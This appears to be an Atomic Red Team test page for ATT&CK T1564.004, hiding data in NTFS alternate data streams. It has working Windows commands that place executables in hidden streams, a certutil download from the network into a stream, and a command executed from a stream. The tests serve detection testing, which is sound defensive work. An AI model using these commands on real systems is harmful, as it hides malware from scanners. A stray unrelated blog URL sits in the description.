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Hide Artifacts: NTFS File Attributes

Description from ATT&CK

Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015) https://www.aleksandrhovhannisyan.com/blog/how-to-add-a-copy-to-clipboard-button-to-your-jekyll-blog/

Atomic Tests

Atomic Test #1 - Alternate Data Streams (ADS)

Execute from Alternate Streams

Reference - 1

Reference - 2

Supported Platforms: windows

auto_generated_guid: 8822c3b0-d9f9-4daf-a043-49f4602364f4

Inputs:

Name Description Type Default Value
path Path of ADS file Path c:\ADS\

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

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type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 #{path}\procexp.cab #{path}\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump #{path}\procexp.exe > #{path}\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1564.004/src/test.ps1 c:\temp:ttt
makecab #{path}\autoruns.exe #{path}\cabtest.txt:autoruns.cab
print /D:#{path}\file.txt:autoruns.exe #{path}\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg #{path}\file.txt:evilreg.reg
regedit /E #{path}\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat #{path}\file.txt:file.bat
esentutl.exe /y #{path}\autoruns.exe /d #{path}\file.txt:autoruns.exe /o 

Atomic Test #2 - Store file in Alternate Data Stream (ADS)

Storing files in Alternate Data Stream (ADS) similar to Astaroth malware. Upon execution cmd will run and attempt to launch desktop.ini. No windows remain open after the test

Supported Platforms: windows

auto_generated_guid: 2ab75061-f5d5-4c1a-b666-ba2a50df5b02

Inputs:

Name Description Type Default Value
payload_path Path of file to hide in ADS Path c:\windows\system32\cmd.exe
ads_file_path Path of file to create an ADS under Path C:\Users\Public\Libraries\yanki\desktop.ini
ads_name Name of ADS String desktop.ini

Attack Commands: Run with powershell!

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if (!(Test-Path C:\Users\Public\Libraries\yanki -PathType Container)) {
    New-Item -ItemType Directory -Force -Path C:\Users\Public\Libraries\yanki
    }
Start-Process -FilePath "$env:comspec" -ArgumentList "/c,type,#{payload_path},>,`"#{ads_file_path}:#{ads_name}`""

Cleanup Commands:

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Remove-Item "#{ads_file_path}" -Force -ErrorAction Ignore

Atomic Test #3 - Create ADS command prompt

Create an Alternate Data Stream with the command prompt. Write access is required. Upon execution, run "dir /a-d /s /r | find ":$DATA"" in the %temp% folder to view that the alternate data stream exists. To view the data in the alternate data stream, run "notepad T1564.004_has_ads.txt:adstest.txt"

Supported Platforms: windows

auto_generated_guid: 17e7637a-ddaf-4a82-8622-377e20de8fdb

Inputs:

Name Description Type Default Value
file_name File name of file to create ADS on. String %temp%\T1564.004_has_ads_cmd.txt
ads_filename Name of ADS. String adstest.txt

Attack Commands: Run with command_prompt!

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echo cmd /c echo "Shell code execution."> #{file_name}:#{ads_filename}
for /f "usebackq delims=?" %i in (#{file_name}:#{ads_filename}) do %i

Cleanup Commands:

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del #{file_name} >nul 2>&1

Atomic Test #4 - Create ADS PowerShell

Create an Alternate Data Stream with PowerShell. Write access is required. To verify execution, the the command "ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname" in the %temp% direcotry to view all files with hidden data streams. To view the data in the alternate data stream, run "notepad.exe T1564.004_has_ads_powershell.txt:adstest.txt" in the %temp% folder.

Supported Platforms: windows

auto_generated_guid: 0045ea16-ed3c-4d4c-a9ee-15e44d1560d1

Inputs:

Name Description Type Default Value
file_name File name of file to create ADS on. String $env:TEMP\T1564.004_has_ads_powershell.txt
ads_filename Name of ADS file. String adstest.txt

Attack Commands: Run with powershell!

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echo "test" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value "test"
set-content -path #{file_name} -stream #{ads_filename} -value "test2"
set-content -path . -stream #{ads_filename} -value "test3"

Cleanup Commands:

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Remove-Item -Path #{file_name} -ErrorAction Ignore

Dependencies: Run with powershell!

Description: The file must exist on disk at specified location (#{file_name})

Check Prereq Commands:

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if (Test-Path #{file_name}) { exit 0 } else { exit 1 }

Get Prereq Commands:

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New-Item -Path #{file_name} | Out-Null

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